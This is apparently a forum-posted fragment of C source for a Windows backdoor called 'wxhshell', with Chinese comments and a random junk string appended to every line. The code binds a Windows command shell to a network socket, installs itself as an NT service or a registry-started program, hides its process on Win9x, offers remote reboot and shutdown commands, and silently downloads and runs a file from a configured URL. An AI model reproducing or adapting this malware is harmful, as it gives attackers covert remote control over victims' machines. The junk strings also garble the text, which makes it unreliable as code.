2r!ltG3}  
    switch(cmd[0]) { Om0$6O  
  zW%Em81Wd  
  // 帮助 %DKFF4k  
  case '?': { Yn }Gj'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M/Yr0"%Q<.  
    break; +`Z1L\gmA  
  } NAvR^"I~  
  // 安装 !|&|%x6@  
  case 'i': { *tF~CG$r  
    if(Install()) 8mreHa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o2ggHZe/=@  
    else Bxm,?=h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WMa0L&C~v  
    break; :uo1QavO@,  
    } $gBQ5Wd  
  // 卸载 ZiJF.(JS  
  case 'r': { C!5A,|DX  
    if(Uninstall()) 8~o']B;lJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :'Qiwf&  
    else `sYFQ+D#O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M@A3+ v%K  
    break; aDNB~CwZZ  
    } ;yt6Yp.6e  
  // 显示 wxhshell 所在路径 ?N<My& E  
  case 'p': { ;9T}h2^`B  
    char svExeFile[MAX_PATH]; %f1%9YH  
    strcpy(svExeFile,"\n\r");  h$l/wn  
      strcat(svExeFile,ExeFile); }%jF!d  
        send(wsh,svExeFile,strlen(svExeFile),0); tbRW6  
    break; V|MGG  
    } ={:a N)  
  // 重启 .Ix3wR9  
  case 'b': { X=$Jp.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :*''ci  
    if(Boot(REBOOT)) (G"'Fb6d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :x\[aG9  
    else { 6^"QABc  
    closesocket(wsh); >S +}  
    ExitThread(0); ^ F]hW  
    } .*zS2 z  
    break; !uEEuD#  
    } BY6#dlDi  
  // 关机 o{s2T)2  
  case 'd': { lnZ{Ryo(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5.~Je6K U  
    if(Boot(SHUTDOWN)) '8X>,un  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1VX3pkUET  
    else { ~wb1sn3  
    closesocket(wsh); v03cQw\"WE  
    ExitThread(0); 6$k#B ~~  
    } EMmgX*iu@  
    break; p'/\eBhG]=  
    } At(88(y-W  
  // 获取shell )5Khl"6!z  
  case 's': { EjR(AqZY  
    CmdShell(wsh); Uk?G1]$mL  
    closesocket(wsh); uYUFxm  
    ExitThread(0); uks75W!}U  
    break; h:%,>I%{  
  } d/7fJ8y8  
  // 退出 > {*cW  
  case 'x': { cfLF@LW!])  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); aDbqh~7  
    CloseIt(wsh); S>yiD`v  
    break; r6m^~Wq!}  
    } Xul`>8y|  
  // 离开 x%B_v^^^  
  case 'q': { ?Z#N9Z~\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); OsgPNy0  
    closesocket(wsh); !Z!)$3bB  
    WSACleanup(); Z,).)y#B  
    exit(1); Ma^jy.  
    break; _\WR3Q!V  
        } Dh I{&$O/  
  } .G8`Ut Z  
  } 8MJJ w;  
;p(h!4E  
  // 提示信息 @j46Ig4~b  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y=mr=]q  
} %~LY'cfPse  
  } zKQ<Zr  
HGQ</5Z  
  return; sfM"!{7  
} Ds`e-X)O;\  
smn"]K  
// shell模块句柄 ]EiM~n  
int CmdShell(SOCKET sock) iiPVqU%  
{ X{-4w([  
STARTUPINFO si;  s5VK  
ZeroMemory(&si,sizeof(si)); NdXHpq;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E'AR.!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; CsO!Y\'FY  
PROCESS_INFORMATION ProcessInfo; Y+?QHtZL  
char cmdline[]="cmd"; Q"QRF5Ue  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E2e"A I.h  
  return 0; 4>gfLK\R:  
} 37U8<  
]>n{~4a  
// 自身启动模式 (t4i&7-  
int StartFromService(void) Oyl~j #h  
{ B"^j>SF  
typedef struct p _gN}v  
{ [EAOk=X  
  DWORD ExitStatus;  0,Ds1y^  
  DWORD PebBaseAddress; b fxE}>  
  DWORD AffinityMask; /JD}b[J$  
  DWORD BasePriority; wLV,E,gM  
  ULONG UniqueProcessId; ng1E'c]0@  
  ULONG InheritedFromUniqueProcessId; k<9,Ypa  
}   PROCESS_BASIC_INFORMATION; "-4|HA  
_H+]G"k/r  
PROCNTQSIP NtQueryInformationProcess; x@ -K  
5aQ)qUgAW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ua1&eC Zi  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'P.y?  
S <mZs;  
  HANDLE             hProcess; ,1 -%C)  
  PROCESS_BASIC_INFORMATION pbi; Y+-yIMt$r  
T\6Qr$t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X`8<;l  
  if(NULL == hInst ) return 0; A(y6]E!  
1-kuK<KR  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V3,C5KKk&z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9jal D X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `G\ qGllX  
N*IroT3  
  if (!NtQueryInformationProcess) return 0;  ti5fsc  
aBA oSn  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %'2P4(  
  if(!hProcess) return 0; P;5)Net1X  
?JuJu1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; CsR[@&n'  
mF6-f#t>H+  
  CloseHandle(hProcess); 6uRE9h|  
xdSMYH{2A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z g7Q`  
if(hProcess==NULL) return 0; YD4I2'E  
$Itmm/M  
HMODULE hMod; "*lx9bvV_  
char procName[255]; ZU\$x<,  
unsigned long cbNeeded; >tg)F|@  
4H8r[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (Jq m9  
5_^d3LOT0x  
  CloseHandle(hProcess); i\xs!QU  
 hb[ThQ  
if(strstr(procName,"services")) return 1; // 以服务启动 ?$pNduE  
@nH3nn  
  return 0; // 注册表启动 w-).HPe  
} jFQy[k-B  
!'$*Z(  
// 主模块 frcAXh9  
int StartWxhshell(LPSTR lpCmdLine) gwaSgV$z  
{ 4M C]s~n  
  SOCKET wsl; 6~dAK3v5  
BOOL val=TRUE; O"\4[HE^  
  int port=0; ?q!4REM  
  struct sockaddr_in door; \`k=9{R.  
qnP4wRpr  
  if(wscfg.ws_autoins) Install(); [if(B\&  
`xM*cJTZ  
port=atoi(lpCmdLine); MTYV~S4/  
^#5'` #t  
if(port<=0) port=wscfg.ws_port; HNkOPz+d&8  
r/h\>s+N  
  WSADATA data; }s2CND  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :(q4y-o6  
W6?=9].gc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   bdrE2m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); FBE|pG7  
  door.sin_family = AF_INET; +Xg:*b9So  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c!@|y E,  
  door.sin_port = htons(port); x8lBpr  
[n9l[dN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lBP?7`U  
closesocket(wsl); SFg4}*"C/  
return 1; AO<T6 VK  
} dV$[O`F* b  
B7Ket8<J  
  if(listen(wsl,2) == INVALID_SOCKET) { 5bb#{?2i  
closesocket(wsl); jdG'sITv  
return 1; J{/hc} $  
} \Fjasz5E'  
  Wxhshell(wsl); GW {tZaB  
  WSACleanup(); gwB,*.z  
MJX ny4n  
return 0; %)V=)l.j  
]Zb9F[  
} yBK$2to~  
WrP+n  
// 以NT服务方式启动 Rd8mn'A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z ,;XWv?  
{ hw"2'{"II  
DWORD   status = 0; /5 z+N(RFC  
  DWORD   specificError = 0xfffffff; bfeTf66c  
,u@:(G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^Zl[#:EFP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /CALX wL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -3(*4)h7  
  serviceStatus.dwWin32ExitCode     = 0; PE{<' K\g  
  serviceStatus.dwServiceSpecificExitCode = 0; 1 F:bExQ  
  serviceStatus.dwCheckPoint       = 0; x|Uwk=;X|s  
  serviceStatus.dwWaitHint       = 0; )d[n-Si  
jP+{2)z"W  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d8Vqmrc~  
  if (hServiceStatusHandle==0) return; {X?Aj >l  
@ 2hGkJ-  
status = GetLastError(); B}qG-}(V  
  if (status!=NO_ERROR) jJ"(O-<)D  
{ rk=/iD  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !@!603Gy  
    serviceStatus.dwCheckPoint       = 0; 7 \xCNOKh  
    serviceStatus.dwWaitHint       = 0; q?frt3o  
    serviceStatus.dwWin32ExitCode     = status; 6O?zi|J[:  
    serviceStatus.dwServiceSpecificExitCode = specificError; x`?>j$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); sssw(F  
    return; &NF$_*\E  
  } z*HM_u  
)4fQ~)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (tO4UI5!  
  serviceStatus.dwCheckPoint       = 0; dr#%~I  
  serviceStatus.dwWaitHint       = 0; T=NLBJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g)f& mQ)  
} [Zdrm:=]L  
\<I&utn  
// 处理NT服务事件,比如:启动、停止 :V$\y up  
VOID WINAPI NTServiceHandler(DWORD fdwControl) GX23c i  
{ i^WY/ OhL  
switch(fdwControl) 'xd8rN %T  
{ i&(1 <S>P  
case SERVICE_CONTROL_STOP: L0VZ>!*o  
  serviceStatus.dwWin32ExitCode = 0; H8g 6ZCU~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .Z]hS7t  
  serviceStatus.dwCheckPoint   = 0; ;u`8pF!_eE  
  serviceStatus.dwWaitHint     = 0; yIiVhI?X  
  { = 1veO0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iB99.,o-&  
  } (e_<~+E  
  return; =~s+<9c]  
case SERVICE_CONTROL_PAUSE: _an 0G?7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; q4X( _t  
  break; BN&)5M?Xt6  
case SERVICE_CONTROL_CONTINUE: Lapeh>1T  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -[N9"Z,  
  break; U8aVI  
case SERVICE_CONTROL_INTERROGATE: /IcGJ&;  
  break; ZxO o&YR3  
}; {zd[8TJ~xa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +DQUL|\  
} 8@ f!,!Wn  
\v+>qY<q  
// 标准应用程序主函数 Z=$-S(>J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &g}P)x r  
{ {Zw;<1{E  
z 3[J sE%  
// 获取操作系统版本 1tO96t^d%  
OsIsNt=GetOsVer(); NxA4*_|H9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6wT ])84  
/\Cf*cJ  
  // 从命令行安装 jD<xpD  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6 o   
5{W Aw !  
  // 下载执行文件 YXTV$A+lW  
if(wscfg.ws_downexe) { +<$nZ=,hsy  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S/*\j7cj  
  WinExec(wscfg.ws_filenam,SW_HIDE); @gqZiFM)  
} Rkg)yme!N  
!m))Yp-"H  
if(!OsIsNt) { N,B!D~@  
// 如果时win9x,隐藏进程并且设置为注册表启动 b IxH0=f  
HideProc(); {o^tSEN!-  
StartWxhshell(lpCmdLine); H9'psv  
} c ?<)!9:  
else tKyGD|g S  
  if(StartFromService()) I lO,Ql  
  // 以服务方式启动 s[eSPSFZ  
  StartServiceCtrlDispatcher(DispatchTable); Q%~BD@Io  
else yX*$PNL5w  
  // 普通方式启动 <!G\%C  
  StartWxhshell(lpCmdLine); gP|-A`y  
,gpEXU p\  
return 0; ;`xCfOY(  
}
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只看该作者 1 发表于: 2006-10-10
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